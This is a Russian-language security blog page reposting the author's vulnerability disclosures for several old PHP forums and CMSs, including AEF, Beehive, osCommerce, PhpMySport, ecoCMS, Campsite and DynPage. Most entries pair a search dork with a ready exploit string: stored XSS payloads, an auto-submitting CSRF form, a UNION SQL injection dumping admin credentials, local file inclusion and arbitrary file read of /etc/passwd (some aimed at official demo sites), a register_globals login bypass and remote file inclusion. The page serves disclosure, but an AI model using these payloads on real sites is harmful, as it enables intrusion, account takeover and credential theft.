• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [WEB2.0 Detective]
    [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости в разных скриптах

    Эти уязвимости были когда-то мною опубликованы на античате
    Продукт: AEF (форумный движок)
    Сайт: http://www.anelectron.com
    Дорк: "Powered by AEF" (250 000 результатов)
    Уязвимость: Активная XSS.
    Уязвимость присутствует из-за небезопасной обработки BB-тегов.
    Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
    Пример эксплуатации:

    Код:
    [url]http://asd.asd[email]asd@asd.asd onmouseover=alert() bla=[/email][/url]


    На выходе получаем:

    Код:
    <a href="http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a></a>


    Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

    Код:
    [url]http://asd.asd[email]asd@asd.asd style=display:none;olo:expression(alert());-moz-binding:url() bla=[/email][/url]


    Продукт:: Beehive (форумный движок)
    Сайт:: http://beehiveforum.sourceforge.net/
    Дорк:: "Project Beehive Forum" (?)
    Уязвимость:: Активная XSS.
    Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
    Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html):
    PHP код:
     $attrib_value preg_replace("/javascript:/ixu"''$attrib_value); 

    В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
    Код:
    <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()" />


    Продукт:: CompactCMS
    Сайт:: http://www.compactcms.nl
    Дорк:: "Maintained with CompactCMS"
    //тут была глупая ошибка, Strilo4ka заметил...
    Уязвимость:: Исполнение произвольного кода.
    Требования: права админа (админка по умолчанию не запаролена - /admin)
    Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
    Уязвимость: E-Mail send XSRF (CSRF) Vulnerability.
    Описание: Собственно, работает лишь в phpbb2, в 3 версии уже закрыта.
    Эксплойт:
    Код:
    <html> <body> <form action="http://victim.com/phpbb2/profile.php?mode=email&amp;u=userid" method="post"> <input type="text" name="subject" value="XSRF bug" /> <textarea name="message">Found by Root-access</textarea> <input type="checkbox" name="cc_email" value="0" checked="checked"> <input type="submit" id="xsrf" name="submit" value="O'k"> </form> <script>document.getElementById("xsrf").click();</script> </body> </html>


    Проверял на уязвимости один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию:

    advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--

    Она почему-то в багтреках не упоминается, но в отчётах о патчах есть. вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53 http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/

    Стало быть версии до этой уязвимы.



    PhpMySport
    Site: phpmysport.sourceforge.net
    Vulnerability: Local Files Include
    Severity: High
    Needs: magic_quotes=Off (or null-byte alternative)
    Exploit: /index.php?lg=/../../../../../../../../../etc/passwd%00
    Reason: В index.php есть строчки:
    PHP код:
     ... 
    /************************/ 
    /* LANGUAGE MANAGEMENT  */ 
    /************************/ 
    if(!@include_once(create_path("include/lg_general_".LANG.".php"))) 

     echo 
    "ERREUR : Language not supported/Langue non supportИe"
     exit(); 

    ... 

    Константа LANG определяется в config.php и изначально берётся из get-параметра lg. Таким образом, мы можем написать слеш /, тем самым закрыв директорию, затем подняться вверх, расширение отрезать нулл-байтом.
    Если не удаётся заинклудить, вылезает ошибка "ERREUR : Language not supported/Langue non supportИe". Вывод php-ошибок отключён.
    Example: На официальном сайте http://phpmysport.sourceforge.net/demo/index.php?lg=/../../../../../../../../../etc/passwd%00&skin=defaut


    ecoCMS
    Site: www.ecocms.com
    Vulnerability: Authorization bypass
    Severity: High
    Needs: register_globals=On
    Exploit: /admin.php?_SESSION[user_in]=1
    Reason: В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль:
    PHP код:
    <?php

    /*
    ecoCMS - Quick & easy to use Content Management System (CMS)
    (c)2009 by ecoCMS.com - visit for PRO version.
    */

    include('config.php');
    if(
    $_GET['panel']=='logout')session_destroy();

    if(
    $_POST['user'] && $_POST['pass']){
    // user is trying to login here.
    // verify his user/pass.
    if($_POST['user']==constant('accessUser') && $_POST['pass']==constant('accessPass'))
    $_SESSION['user_in']=1;
    else
    $Message 'Username or password incorrect!';
    }

    if(!
    $_SESSION['user_in'])$HideContents=1;
    else unset(
    $HideContents);

    ?>


    В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль. Следовательно. мы можем не передавая post-данные с логином и паролем, установить значение переменной сессии при register_globals=On.
    Vulnerability: XSS
    Severity: Low
    Needs: -
    Exploit: /admin.php?p=%3Cscript%3Ealert()%3C/script%3E
    Reason: get-параметр p в admin.php недостаточно фильтруется. Код приводить смысла не вижу)


    Campsite (3.3.5)
    Site: campsite.campware.org
    Vulnerability: Remote File Inclusion || Local File Inclusion
    Severity: High
    Needs: register_globals=On
    Exploit: /tests/test_autopublish.php?GLOBALS[g_campsiteDir]=RFI ; /classes/ObjectType.php?GLOBALS[g_campsiteDir]=RFI
    Reason: В tests/test_autopublish.php, /classes/ObjectType.php и в других скриптах часто используемая глобальная переменная g_campsiteDir не определена. Она определена лишь в скрипте set_path.php, который в самом вышеуказанном скрипте не подключается.
    Участок кода в tests/test_autopublish.php:
    PHP код:
    <?php
    require_once($GLOBALS['g_campsiteDir']."/classes/Article.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/ArticlePublish.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/Issue.php");
    require_once(
    $GLOBALS['g_campsiteDir']."/classes/IssuePublish.php");
    ...

    Участок кода в /classes/ObjectType.php:
    PHP код:
    <?php
    /**
     * @package Campsite
     */

    /**
     * Includes
     */
    require_once($GLOBALS['g_campsiteDir'].'/classes/DatabaseObject.php');
    require_once(
    $GLOBALS['g_campsiteDir'].'/classes/Translation.php');


    Следовательно. мы можем установить значение глобальной переменной и заинклудить произвольный файл при register_globals=On.
    При allow_url_include=On/Off имеем RFI/LFI соответственно. Для проведения LFI скорее всего понадобится ещё и magic_quotes_gpc=On для того, чтобы обрезать лишнее нулл-байтом.
    При register_globals=Off имеем лишь раскрытие путей.


    DynPage
    Site: www.dynpage.net
    Vulnerability: Arbitrary files content disclosing
    Severity: High
    Needs: -
    Exploit: /content/dynpage_load.php?file=/etc/passwd
    Reason: Файл /content/dynpage_load.php не защищён от прямого просмотра. То есть в других местах, где собственно идёт вывод контента с помощью этого скрипта есть какая-то фильтрация, а здесь без никаких ограничений имеем читалку.
    Уязвимый код /content/dynpage_load.php:
    PHP код:
     ...
    $filename $_GET["file"]; 
    if (!
    is_dir ($filename) && file_exists ($filename)) { 
      
     
    $bytes filesize ($filename); 
     
    $fh fopen($filename'r'); 
     print (
    fread ($fh$bytes)); 
     
    fclose ($fh); 
     

    else 
     print (
    "DynPage file not found: ".htmlspecialchars ($filename)."");
     
    ?> 

    Example: на официальном сайте: http://www.dynpage.net/dynpage/content/dynpage_load.php?file=/etc/passwd

    © BECHED